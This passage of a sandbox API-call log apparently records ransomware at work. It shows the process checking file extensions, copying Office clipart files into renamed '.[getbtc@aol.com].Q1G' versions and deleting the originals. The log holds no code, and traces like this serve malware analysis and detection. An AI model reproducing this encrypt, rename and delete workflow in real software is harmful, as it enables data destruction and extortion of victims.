(lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.498] lstrlenW (lpString=".ppt") returned 4 [0247.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0247.498] lstrlenW (lpString=".zip") returned 4 [0247.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.498] lstrlenW (lpString=".rar") returned 4 [0247.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.498] lstrlenW (lpString=".bz2") returned 4 [0247.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.498] lstrlenW (lpString=".7z") returned 3 [0247.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0247.498] lstrlenW (lpString=".dbf") returned 4 [0247.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0247.498] lstrlenW (lpString=".1cd") returned 4 [0247.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0247.499] lstrlenW (lpString=".jpg") returned 4 [0247.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.499] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.499] lstrlenW (lpString="DD00121_.WMF") returned 12 [0247.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0247.540] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=8256) returned 1 [0247.540] CloseHandle (hObject=0x398) returned 1 [0247.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x20 [0247.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.565] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.565] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.566] GetLastError () returned 0x0 [0247.566] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x2040, lpOverlapped=0x0) returned 1 [0247.591] WriteFile (in: hFile=0x3bc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x2050, lpOverlapped=0x0) returned 1 [0247.592] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.592] WriteFile (in: hFile=0x3bc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.592] SetEndOfFile (hFile=0x3bc) returned 1 [0247.593] CloseHandle (hObject=0x3bc) returned 1 [0247.593] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.593] SetEndOfFile (hFile=0x200) returned 1 [0247.595] CloseHandle (hObject=0x200) returned 1 [0247.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0247.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0247.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0247.595] lstrlenW (lpString=".doc") returned 4 [0247.595] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.595] lstrlenW (lpString=".docx") returned 5 [0247.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.596] lstrlenW (lpString=".pdf") returned 4 [0247.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.596] lstrlenW (lpString=".xls") returned 4 [0247.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.596] lstrlenW (lpString=".xlsx") returned 5 [0247.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.596] lstrlenW (lpString=".ppt") returned 4 [0247.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0247.596] lstrlenW (lpString=".zip") returned 4 [0247.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.596] lstrlenW (lpString=".rar") returned 4 [0247.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.596] lstrlenW (lpString=".bz2") returned 4 [0247.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.596] lstrlenW (lpString=".7z") returned 3 [0247.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0247.596] lstrlenW (lpString=".dbf") returned 4 [0247.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0247.596] lstrlenW (lpString=".1cd") returned 4 [0247.596] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0247.596] lstrlenW (lpString=".jpg") returned 4 [0247.596] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0247.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0247.596] lstrlenW (lpString=".doc") returned 4 [0247.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.596] lstrlenW (lpString=".docx") returned 5 [0247.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.596] lstrlenW (lpString=".pdf") returned 4 [0247.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.596] lstrlenW (lpString=".xls") returned 4 [0247.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.596] lstrlenW (lpString=".xlsx") returned 5 [0247.597] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.597] lstrlenW (lpString=".ppt") returned 4 [0247.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0247.597] lstrlenW (lpString=".zip") returned 4 [0247.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.597] lstrlenW (lpString=".rar") returned 4 [0247.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.597] lstrlenW (lpString=".bz2") returned 4 [0247.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.597] lstrlenW (lpString=".7z") returned 3 [0247.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0247.597] lstrlenW (lpString=".dbf") returned 4 [0247.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0247.597] lstrlenW (lpString=".1cd") returned 4 [0247.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0247.597] lstrlenW (lpString=".jpg") returned 4 [0247.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.597] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.597] lstrlenW (lpString="DD00297_.WMF") returned 12 [0247.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.598] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=40030) returned 1 [0247.598] CloseHandle (hObject=0x200) returned 1 [0247.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x20 [0247.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.598] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.598] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.599] GetLastError () returned 0x0 [0247.599] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x9c5e, lpOverlapped=0x0) returned 1 [0247.630] WriteFile (in: hFile=0x3bc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x9c60, lpOverlapped=0x0) returned 1 [0247.632] ReadFile (in: hFile=0x200, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.632] WriteFile (in: hFile=0x3bc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.632] SetEndOfFile (hFile=0x3bc) returned 1 [0247.632] CloseHandle (hObject=0x3bc) returned 1 [0247.632] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.632] SetEndOfFile (hFile=0x200) returned 1 [0247.634] CloseHandle (hObject=0x200) returned 1 [0247.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0247.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0247.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0247.728] lstrlenW (lpString=".doc") returned 4 [0247.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.736] lstrlenW (lpString=".docx") returned 5 [0247.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.736] lstrlenW (lpString=".pdf") returned 4 [0247.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.736] lstrlenW (lpString=".xls") returned 4 [0247.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.736] lstrlenW (lpString=".xlsx") returned 5 [0247.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.736] lstrlenW (lpString=".ppt") returned 4 [0247.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0247.737] lstrlenW (lpString=".zip") returned 4 [0247.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.737] lstrlenW (lpString=".rar") returned 4 [0247.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.737] lstrlenW (lpString=".bz2") returned 4 [0247.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.737] lstrlenW (lpString=".7z") returned 3 [0247.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0247.737] lstrlenW (lpString=".dbf") returned 4 [0247.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0247.737] lstrlenW (lpString=".1cd") returned 4 [0247.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0247.737] lstrlenW (lpString=".jpg") returned 4 [0247.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0247.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0247.737] lstrlenW (lpString=".doc") returned 4 [0247.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.737] lstrlenW (lpString=".docx") returned 5 [0247.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.737] lstrlenW (lpString=".pdf") returned 4 [0247.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.737] lstrlenW (lpString=".xls") returned 4 [0247.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.737] lstrlenW (lpString=".xlsx") returned 5 [0247.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.737] lstrlenW (lpString=".ppt") returned 4 [0247.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0247.737] lstrlenW (lpString=".zip") returned 4 [0247.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.737] lstrlenW (lpString=".rar") returned 4 [0247.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.738] lstrlenW (lpString=".bz2") returned 4 [0247.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.738] lstrlenW (lpString=".7z") returned 3 [0247.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0247.738] lstrlenW (lpString=".dbf") returned 4 [0247.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0247.738] lstrlenW (lpString=".1cd") returned 4 [0247.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 63 [0247.738] lstrlenW (lpString=".jpg") returned 4 [0247.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.738] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.738] lstrlenW (lpString="DD00414_.WMF") returned 12 [0247.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.738] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=42908) returned 1 [0247.738] CloseHandle (hObject=0x3c0) returned 1 [0247.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x20 [0247.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.739] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.739] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.739] GetLastError () returned 0x0 [0247.739] ReadFile (in: hFile=0x3c0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xa79c, lpOverlapped=0x0) returned 1 [0247.746] WriteFile (in: hFile=0x3bc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xa7a0, lpOverlapped=0x0) returned 1 [0247.747] ReadFile (in: hFile=0x3c0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.747] WriteFile (in: hFile=0x3bc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.747] SetEndOfFile (hFile=0x3bc) returned 1 [0247.747] CloseHandle (hObject=0x3bc) returned 1 [0247.747] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.747] SetEndOfFile (hFile=0x3c0) returned 1 [0247.750] CloseHandle (hObject=0x3c0) returned 1 [0247.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0247.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0247.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0247.763] lstrlenW (lpString=".doc") returned 4 [0247.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.763] lstrlenW (lpString=".docx") returned 5 [0247.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.763] lstrlenW (lpString=".pdf") returned 4 [0247.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.763] lstrlenW (lpString=".xls") returned 4 [0247.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.763] lstrlenW (lpString=".xlsx") returned 5 [0247.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.763] lstrlenW (lpString=".ppt") returned 4 [0247.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0247.763] lstrlenW (lpString=".zip") returned 4 [0247.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.763] lstrlenW (lpString=".rar") returned 4 [0247.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.763] lstrlenW (lpString=".bz2") returned 4 [0247.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.763] lstrlenW (lpString=".7z") returned 3 [0247.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0247.763] lstrlenW (lpString=".dbf") returned 4 [0247.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0247.763] lstrlenW (lpString=".1cd") returned 4 [0247.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0247.764] lstrlenW (lpString=".jpg") returned 4 [0247.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0247.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0247.764] lstrlenW (lpString=".doc") returned 4 [0247.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.764] lstrlenW (lpString=".docx") returned 5 [0247.764] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.764] lstrlenW (lpString=".pdf") returned 4 [0247.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.764] lstrlenW (lpString=".xls") returned 4 [0247.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.764] lstrlenW (lpString=".xlsx") returned 5 [0247.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.764] lstrlenW (lpString=".ppt") returned 4 [0247.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 63 [0247.764] lstrlenW (lpString=".zip") returned 4 [0247.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.764] lstrlenW (lpString=".rar") returned 4 [0247.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.764] lstrlenW (lpString=".bz2") returned 4 [0247.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.764] lstrlenW (lpString=".7z") returned 3 [0247.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 